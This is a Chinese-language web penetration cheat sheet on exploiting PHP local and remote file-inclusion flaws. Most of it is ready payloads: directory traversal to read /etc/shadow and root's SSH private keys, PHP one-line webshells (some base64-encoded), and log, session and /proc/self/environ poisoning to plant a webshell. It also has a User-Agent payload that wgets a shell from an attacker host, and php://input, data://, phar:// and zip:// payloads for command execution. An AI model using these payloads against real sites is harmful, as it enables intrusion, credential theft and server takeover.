web渗透之文件包含利用技巧
php中四个包含文件函数:include(),include_once(),require()和require_once()
1.本地文件包含LFI
(1)普通本地文件包含
检测源码示例
----include.php--------------------------------------------
<?php include($_GET['file']);?>
<?php include("inc/".$_GET['file']);?>
<?php $query=$_GET['file']; include($query);?>
1)包含同目录下的文件
?file=.htaccess
2)包含上传文件
?file=../attachment/media/test.jpg
将一句话木马或php代码嵌入到任何文件中,如:test.jpg,以包含的方式执行php代码
<?php @eval($_POST['qqmm']);?>
<?php fputs(fopen("./upgrade.php","w"),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydxcW1tJ10pOz8+'));?>
<?php file_put_contents('./parks.png',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydxcW1tJ10pOz8+'));?>
3)目录遍历
[前提] linux环境,需要root权限
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
4)一些敏感文件
Windows系统
?file=../../../../../../../../../boot.ini
?file=../../../../../../../../../windows/system32/inetsrv/MetaBase.xml //IIS配置文件
?file=../../../../../../../../../windows/repair/sam
?file=../../../../../../../../../windows/php.ini
Linux系统
?file=../../../../../../../../../etc/passwd
?file=../../../../../../../../../etc/shadow
?file=../../../../../../../../../proc/version
?file=../../../../../../../../../proc/self/fd/fd[0-9]* (文件标识符)
?file=../../../../../../../../../proc/mounts
?file=../../../../../../../../../proc/config.gz
?file=../../../../../../../../../etc/my.conf //mysql配置文件
?file=../../../../../../../../../etc/php.ini //可以判断是否允许远程文件包含,可以查看上传临时文件存放目录
?file=../../../../../../../../../etc/httpd/conf/httpd.conf //可以找到网站的绝对路径
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf //Apache默认配置文件
?file=../../../../../../../../../usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
?file=../../../../../../../../../usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
?file=../../../../../../../../../var/log/apache/error.log
?file=../../../../../../../../../root/.ssh/authorized_keys
?file=../../../../../../../../../root/.ssh/id_rsa
?file=../../../../../../../../../root/.ssh/id_rsa.keystore
?file=../../../../../../../../../root/.ssh/id_rsa.pub
?file=../../../../../../../../../root/.ssh/known_hosts
?file=../../../../../../../../../root/.bash_history
?file=../../../../../../../../../root/.mysql_history
(2)有限制的本地文件包含
检测源码示例
--------include.php----------------------------------------------
<?php include("inc/".$_GET['file'].".html");?>
<?php $filename = $_GET['filename']; include($filename.".html");?>
-----------------------------------------------------------------
1)%00截断
[前提] php.ini中magic_quotes_gpc=Off,php版本小于5.3.4有效
?file=../../../../../../../../../etc/passwd%00
2)%00截断目录遍历
[前提] php.ini中magic_quotes_gpc=Off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris
?file=../../../../../../../../../var/www/%00
3)路径长度截断
检测源码示例
[前提] php版本小于5.2.8,linux下目录最大长度为4096字节,windows下目录最大长度为256字节,超出的部分会被丢弃
?file=../../../../../../../../../etc/passwd/././././././.[......]/././././././
4)点号截断
[前提] php版本小于5.2.8,只适用于windows,点号需要长于256字节
?file=../../../../../../../../../boot.ini/......................[......].............
(3)文件包含拿webshell的一些技巧
1)利用access.log日志文件拿webshell
a)从apache配置文件中找到access.log日志文件的保存位置
?file=../../../../../../../../../etc/httpd/conf/httpd.conf
b)访问任意链接,插入一句话木马
http://www.test.com/index.php<?php @eval($_POST['qqmm']);?>
[注] 浏览器提交时会进行url编码,需要使用burpsuite抓包修改回来,保证日志中写入的是未编码的php代码
c)包含access.log日志文件拿webshell
http://www.test.com/include.php?file=../../logs/access.log
2)利用auth.log日志(ssh日志)文件拿webshell
a)检查/var/log/auth.log是否可访问
?file=../../../../../../../../../var/log/auth.log
b)ssh远程登录,插入一句话木马
ssh '<?php @eval($_POST['qqmm'])?>'@ip地址
[注] 全部都是单引号,传入的时候会过滤单引号,变成<?php @eval($_POST[qqmm])?>@ip地址,保存在auth.log日志中
c)包含auth.log日志文件拿webshell
http://www.test.com/include.php?file=../../var/log/auth.log
3)利用/proc/self/environ环境变量拿webshell
a)检查/proc/self/environ是否可访问
?file=../../../../../../../../../proc/self/environ
如果看到类似如下信息:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html......
说明可以访问,如果返回空白页,说明无法访问,也可能操作系统是FreeBSD
b)篡改链接中的User-Agent信息注入恶意代码
(a)利用burp suite截包提交
User-Agent:<?system('wget http://hack.com/evils.txt -O shell.php');?>
(b)利用curl直接提交
curl -H "USER-AGENT:<?system('wget http://hack.com/evils.txt -O shell.php');?>" www.test.com/view.php?page=../../../../../proc/self/environ
c)连接webshell
4)利用session临时文件拿webshell
a)检查利用条件
(a)检查网站是否保存临时session文件
(b)检查session中是否有可控的变量,如url中的变量值、用户名等等;检查服务器是否会把报错信息写入session文件,控制报错语句
从apache配置文件中找到session文件的保存位置
?file=../../../../../../../../../etc/httpd/conf/httpd.conf
其他可能存放session文件的路径:
?file=../../../../../../../../../tmp/
?file=../../../../../../../../../var/lib/php/session/
?file=../../../../../../../../../var/lib/php/session_www/
?file=../../../../../../../../../var/lib/php/session_其他目录/
?file=../../../../../../../../../windows/temp/
session文件的文件名一般以sess_SESSIONID来保存
c)包含session文件拿webshell
5)利用phpinfo文件拿webshell
a)php允许向任意php脚本上传文件,即算该脚本并没有处理上传的代码,上传的文件将被临时保存,当该脚本页面加载完成时,临时文件要么被删除,要么被重命名存放
b)向phpinfo文件post上传任意数据,phpinfo的[PHP Variables]栏中会返回该上传文件保存的路径及临时文件名
```php
POST /phpcms/phpinfo.php HTTP/1.1
Host: IP地址
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: loginpass=320a72d24f60e35d6df0c38b34ed74b7
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=-----7dbff1ded0714--
Content-Length: 273
-----------------------------7dbff1ded0714--------------
Content-Disposition: form-data; name="dummyname"; filename="test.txt"
Content-Type: text/plain
<?php echo hello;?>
-----------------------------7dbff1ded0714--------------
```
phpinfo [PHP Variables]
Variable | Value
-------- | -----
_FILES["dummyname"] | Array( [name] => test.txt,[type] => text/plain, [tmp_name] => /tmp/php0Mk3X8,[error] => 0, [size] => 273)|
可以发现上传的临时文件为/tmp/php0Mk3X8
c)向post文件的http header中尽可能添加无效数据,延缓脚本完全加载的时间,延长临时文件的生命周期,此时利用包含漏洞包含临时文件,可获得webshell
2.远程文件包含RFI
(1)普通远程文件包含
检测源码示例
--------include.php----------------------------------------------
<?php include($_GET['file']);?>
1)远程代码执行
[前提] php.ini中allow_url_fopen开启并且allow_url_include开启
?file=[http|https|ftp]://example.com/shell.txt
2)利用php://input执行post数据
[前提] php.ini中allow_url_fopen开启并且allow_url_include开启
?file=php://input
post data:<?php system('ifconfig');?>
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
3)利用php://filter查看php源代码
[前提] php.ini中allow_url_fopen开启,不需要开启allow_url_include
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=index.php
此时获得base64编码后的php源代码,解码后可得原文
4)利用data://伪协议执行命令、查看php源代码
[前提] php.ini中allow_url_include开启
?file=data://text/plain,<?php system('ipconfig')?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
?file=data://text/plain;charset=utf-8,<?php system('cat /var/www/index.php')?>
5)利用phar://伪协议执行命令
?file=phar://[压缩文件]/[shell文件] //PHP>=5.3.0,压缩包必须是zip协议压缩,格式后缀可以是任意
?file=phar://hackerUpload.png/shell.php
6)利用zip://伪协议执行命令
?file=zip://[压缩文件绝对路径]#[shell文件]
?file=zip://hackerUpload.png%23shell.php //PHP>=5.3.0,注意windows下要5.3.0<PHP<5.4.0,url中#要改为%23
(2)有限制的远程文件包含
检测源码示例
--------include.php----------------------------------------------
<?php include($_GET['file'].".html");?>
[前提] php.ini中allow_url_fopen开启并且allow_url_include开启
?file=http://example.com/shell
?file=http://example.com/shell.txt?
?file=http://example.com/shell.txt%23